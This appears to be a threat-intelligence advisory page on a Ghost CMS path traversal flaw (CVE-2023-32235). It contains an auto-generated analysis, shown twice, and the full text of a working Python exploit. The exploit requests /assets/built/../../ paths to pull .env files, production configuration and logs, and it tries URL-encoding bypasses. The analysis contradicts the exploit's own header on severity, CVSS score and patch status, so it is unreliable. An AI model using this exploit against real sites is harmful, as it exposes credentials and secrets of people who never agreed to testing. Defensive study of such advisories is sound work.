Ghost CMS 5.42.1 - Path Traversal
Ghost CMS 5.42.1 - Path Traversal
AI Analysis
Technical Summary
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1, a popular open-source content management system used primarily for blogging and online publications. Path traversal vulnerabilities occur when an attacker can manipulate file path inputs to access files and directories outside the intended scope, potentially exposing sensitive information such as configuration files, user data, or system files. In this case, the vulnerability allows remote attackers to craft malicious HTTP requests that traverse directories on the server hosting Ghost CMS, bypassing normal access controls. The exploit does not require authentication or user interaction, which increases the risk profile. The presence of publicly available exploit code written in Python facilitates exploitation by attackers with moderate technical skills. Although no active exploitation in the wild has been reported, the vulnerability could lead to unauthorized disclosure of sensitive data, impacting confidentiality. The lack of a CVSS score necessitates a severity assessment based on impact and exploitability factors. Given the medium severity rating, the vulnerability is significant but not critical, as it does not directly enable remote code execution or denial of service. The absence of patch links suggests that a fix may not yet be publicly available, emphasizing the need for immediate mitigation strategies. Organizations using Ghost CMS should monitor for updates and consider temporary protective measures such as web application firewall rules and input sanitization to prevent exploitation.
Potential Impact
For European organizations, the path traversal vulnerability in Ghost CMS 5.42.1 primarily threatens the confidentiality of sensitive data stored on web servers. Attackers could access configuration files, database credentials, or private content, potentially leading to further compromise or data breaches. Organizations relying on Ghost CMS for public-facing websites or internal content management may face reputational damage and regulatory consequences under GDPR if personal data is exposed. The ease of exploitation without authentication increases the risk of automated attacks targeting vulnerable installations. However, the impact on integrity and availability is limited, as the vulnerability does not directly allow code execution or service disruption. Still, the exposure of sensitive files could facilitate subsequent attacks, such as privilege escalation or lateral movement within networks. European media, publishing, and digital marketing sectors using Ghost CMS are particularly at risk. The threat also underscores the importance of securing web applications and monitoring for anomalous access patterns to detect exploitation attempts early.
Mitigation Recommendations
1. Monitor official Ghost CMS channels for security patches addressing this vulnerability and apply updates promptly once available. 2. Until a patch is released, implement strict input validation and sanitization on all user-supplied parameters that influence file paths to prevent directory traversal sequences (e.g., '../'). 3. Deploy web application firewalls (WAFs) with rules specifically designed to detect and block path traversal attempts targeting Ghost CMS endpoints. 4. Restrict file system permissions on the web server to limit access to sensitive files and directories, ensuring the CMS process runs with the least privileges necessary. 5. Conduct regular security audits and penetration testing focusing on web application vulnerabilities, including path traversal. 6. Monitor web server logs for suspicious requests containing directory traversal patterns and respond quickly to potential exploitation attempts. 7. Consider isolating Ghost CMS instances in segmented network zones to reduce the impact of a potential breach. 8. Educate development and operations teams about secure coding practices and the risks associated with path traversal vulnerabilities.
Affected Countries
United Kingdom, Germany, France, Netherlands, Sweden, Denmark, Ireland
Indicators of Compromise
- exploit-code: #!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path traversal vulnerability that allows # remote attackers to read arbitrary files within the active theme's folder structure. # The vulnerability exists in the /assets/built/ endpoint which improperly handles # directory traversal sequences (../../) allowing unauthorized file access. # This can lead to disclosure of sensitive configuration files, environment variables, # and other critical application data. # Impact: # - Unauthorized file disclosure # - Potential exposure of configuration files # - Information gathering for further attacks # - Possible credential harvesting # Requirements: requests>=2.28.1 """ import requests import sys import urllib.parse from typing import Dict, List, Tuple, Optional class ExploitResult: def __init__(self): self.success = False self.payload = "" self.response = "" self.status_code = 0 self.description = "Ghost before 5.42.1 allows remote attackers to read arbitrary files within the active theme's folder via /assets/built/../..// directory traversal" self.severity = "High" class PathTraversalExploit: def __init__(self, target_url: str, verbose: bool = True): self.target_url = target_url.rstrip('/') self.verbose = verbose self.session = requests.Session() self.session.headers.update({ 'Accept': '*/*', 'Cache-Control': 'no-cache', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' }) def exploit(self) -> ExploitResult: result = ExploitResult() # path traversal payloads targeting Ghost CMS specific files payloads = [ {"path": "../../package.json", "description": "Main package.json with dependencies", "sensitive": True}, {"path": "../../../package.json", "description": "Root package.json", "sensitive": True}, {"path": "../../config.production.json", "description": "Production configuration", "sensitive": True}, {"path": "../../config.development.json", "description": "Development configuration", "sensitive": True}, {"path": "../../.env", "description": "Environment variables", "sensitive": True}, {"path": "../../../.env", "description": "Root environment file", "sensitive": True}, {"path": "../../content/settings/routes.yaml", "description": "Routes configuration", "sensitive": False}, {"path": "../../content/logs/ghost.log", "description": "Ghost application logs", "sensitive": False}, {"path": "../../README.md", "description": "Documentation file", "sensitive": False}, {"path": "../../yarn.lock", "description": "Yarn lock file", "sensitive": False}, {"path": "../../package-lock.json", "description": "NPM lock file", "sensitive": False}, {"path": "../../../Dockerfile", "description": "Docker configuration", "sensitive": False}, {"path": "../../../docker-compose.yml", "description": "Docker compose file", "sensitive": False} ] for payload in payloads: target_url = f"{self.target_url}/assets/built/{payload['path']}" if self.verbose: print(f"[*] Testing path traversal: {payload['path']}") try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and len(response.text) > 0: if self._detect_file_read_success(response.text, payload['path']): result.success = True result.payload = payload['path'] result.response = response.text result.status_code = response.status_code if payload['sensitive']: result.severity = "Critical" if self.verbose: print(f"[+] Successfully exploited path traversal: {payload['path']}") print(f"[+] File content preview: {response.text[:200]}") return result except requests.RequestException as e: if self.verbose: print(f"[-] Request failed for {payload['path']}: {e}") continue # If no direct file read, try alternative bypass techniques if not result.success: self._try_path_traversal_bypasses(result) return result def _try_path_traversal_bypasses(self, result: ExploitResult): """Try various bypass techniques for path traversal""" bypass_payloads = [ "..%2f..%2fpackage.json", # URL encoded "..%252f..%252fpackage.json", # Double URL encoded "....//....//package.json", # Double dot bypass "..\\\\..\\\\package.json", # Windows style ".%2e/.%2e/package.json", # Mixed encoding "..%c0%af..%c0%afpackage.json", # UTF-8 overlong encoding ] for payload in bypass_payloads: target_url = f"{self.target_url}/assets/built/{payload}" try: response = self.session.get(target_url, timeout=10) if response.status_code == 200 and self._detect_file_read_success(response.text, payload): result.success = True result.payload = payload result.response = response.text result.status_code = response.status_code if self.verbose: print(f"[+] Path traversal successful using encoding bypass: {payload}") break except requests.RequestException: continue def _detect_file_read_success(self, body: str, payload: str) -> bool: """Check if the response indicates successful file read""" # Check for common file content indicators file_indicators = { "package.json": ['"name"', '"version"', '"dependencies"', '"scripts"'], ".env": ["DATABASE_URL", "NODE_ENV", "GHOST_", "="], "config": ['"database"', '"server"', '"url"', '"mail"'], "routes.yaml": ["routes:", "collections:", "taxonomies:"], "ghost.log": ["INFO", "ERROR", "WARN", "Ghost"], "README": ["#", "##", "Ghost", "installation"], "Dockerfile": ["FROM", "RUN", "COPY", "EXPOSE"], "docker-compose": ["version:", "services:", "ghost:"] } # Check specific file type indicators for file_type, indicators in file_indicators.items(): if file_type.lower() in payload.lower(): for indicator in indicators: if indicator in body: return True # Generic file content indicators generic_indicators = ["{", "}", "[", "]", ":", "=", "version", "name", "description"] count = sum(1 for indicator in generic_indicators if indicator in body) # If multiple generic indicators found, likely a valid file return count >= 3 def main(): if len(sys.argv) < 2: print("Usage: python3 CVE-2023-32235.py <target_url>") print("Example: python3 CVE-2023-32235.py http://target.com") return exploit = PathTraversalExploit(sys.argv[1], verbose=True) result = exploit.exploit() print("\n=== CVE-2023-32235 Path Traversal Exploit Results ===") print(f"Target: {exploit.target_url}") print(f"Success: {result.success}") print(f"Severity: {result.severity}") print(f"Description: {result.description}") if result.success: print(f"Payload: {result.payload}") print(f"Status Code: {result.status_code}") print(f"Response Preview: {result.response[:500]}") else: print("Exploit failed - target may not be vulnerable") if __name__ == "__main__": main()
Ghost CMS 5.42.1 - Path Traversal
Description
Ghost CMS 5.42.1 - Path Traversal
AI-Powered Analysis
Technical Analysis
The reported security threat concerns a path traversal vulnerability in Ghost CMS version 5.42.1, a popular open-source content management system used primarily for blogging and online publications. Path traversal vulnerabilities occur when an attacker can manipulate file path inputs to access files and directories outside the intended scope, potentially exposing sensitive information such as configuration files, user data, or system files. In this case, the vulnerability allows remote attackers to craft malicious HTTP requests that traverse directories on the server hosting Ghost CMS, bypassing normal access controls. The exploit does not require authentication or user interaction, which increases the risk profile. The presence of publicly available exploit code written in Python facilitates exploitation by attackers with moderate technical skills. Although no active exploitation in the wild has been reported, the vulnerability could lead to unauthorized disclosure of sensitive data, impacting confidentiality. The lack of a CVSS score necessitates a severity assessment based on impact and exploitability factors. Given the medium severity rating, the vulnerability is significant but not critical, as it does not directly enable remote code execution or denial of service. The absence of patch links suggests that a fix may not yet be publicly available, emphasizing the need for immediate mitigation strategies. Organizations using Ghost CMS should monitor for updates and consider temporary protective measures such as web application firewall rules and input sanitization to prevent exploitation.
Potential Impact
For European organizations, the path traversal vulnerability in Ghost CMS 5.42.1 primarily threatens the confidentiality of sensitive data stored on web servers. Attackers could access configuration files, database credentials, or private content, potentially leading to further compromise or data breaches. Organizations relying on Ghost CMS for public-facing websites or internal content management may face reputational damage and regulatory consequences under GDPR if personal data is exposed. The ease of exploitation without authentication increases the risk of automated attacks targeting vulnerable installations. However, the impact on integrity and availability is limited, as the vulnerability does not directly allow code execution or service disruption. Still, the exposure of sensitive files could facilitate subsequent attacks, such as privilege escalation or lateral movement within networks. European media, publishing, and digital marketing sectors using Ghost CMS are particularly at risk. The threat also underscores the importance of securing web applications and monitoring for anomalous access patterns to detect exploitation attempts early.
Mitigation Recommendations
1. Monitor official Ghost CMS channels for security patches addressing this vulnerability and apply updates promptly once available. 2. Until a patch is released, implement strict input validation and sanitization on all user-supplied parameters that influence file paths to prevent directory traversal sequences (e.g., '../'). 3. Deploy web application firewalls (WAFs) with rules specifically designed to detect and block path traversal attempts targeting Ghost CMS endpoints. 4. Restrict file system permissions on the web server to limit access to sensitive files and directories, ensuring the CMS process runs with the least privileges necessary. 5. Conduct regular security audits and penetration testing focusing on web application vulnerabilities, including path traversal. 6. Monitor web server logs for suspicious requests containing directory traversal patterns and respond quickly to potential exploitation attempts. 7. Consider isolating Ghost CMS instances in segmented network zones to reduce the impact of a potential breach. 8. Educate development and operations teams about secure coding practices and the risks associated with path traversal vulnerabilities.
Affected Countries
For access to advanced analysis and higher rate limits, contact root@offseq.com
Technical Details
- Edb Id
- 52408
- Has Exploit Code
- true
- Code Language
- python
Indicators of Compromise
Exploit Source Code
Exploit code for Ghost CMS 5.42.1 - Path Traversal
#!/usr/bin/env python3 # -*- coding: utf-8 -*- """ # Exploit Title: Ghost CMS 5.42.1 - Path Traversal # Date: 2023-06-15 # Exploit Author:ibrahimsql (https://github.com/ibrahimsql) # Vendor Homepage: https://ghost.org # Software Link: https://github.com/TryGhost/Ghost # Version: < 5.42.1 # Tested on: Kali Linux 2024.1 Windows 10, macOS Big Sur # CVE: CVE-2023-32235 # Category: Web Application Security # CVSS Score: 7.5 (High) # Description: # Ghost CMS before version 5.42.1 contains a path trave... (8306 more characters)
Threat ID: 689a95b8ad5a09ad002b096c
Added to database: 8/12/2025, 1:15:36 AM
Last enriched: 11/3/2025, 9:38:48 AM
Last updated: 11/17/2025, 6:31:33 AM
Views: 56
Community Reviews
0 reviewsCrowdsource mitigation strategies, share intel context, and vote on the most helpful responses. Sign in to add your voice and help keep defenders ahead.
Want to contribute mitigation steps or threat intel context? Sign in or create an account to join the community discussion.
Related Threats
RondoDox Exploits Unpatched XWiki Servers to Pull More Devices Into Its Botnet
HighHoneypot: FortiWeb CVE-2025-64446 Exploits, (Sat, Nov 15th)
MediumWhen Attacks Come Faster Than Patches: Why 2026 Will be the Year of Machine-Speed Security
MediumFake Chrome Extension “Safery” Steals Ethereum Wallet Seed Phrases Using Sui Blockchain
MediumNow-Patched Fortinet FortiWeb Flaw Exploited in Attacks to Create Admin Accounts
LowActions
Updates to AI analysis require Pro Console access. Upgrade inside Console → Billing.
External Links
Need enhanced features?
Contact root@offseq.com for Pro access with improved analysis and higher rate limits.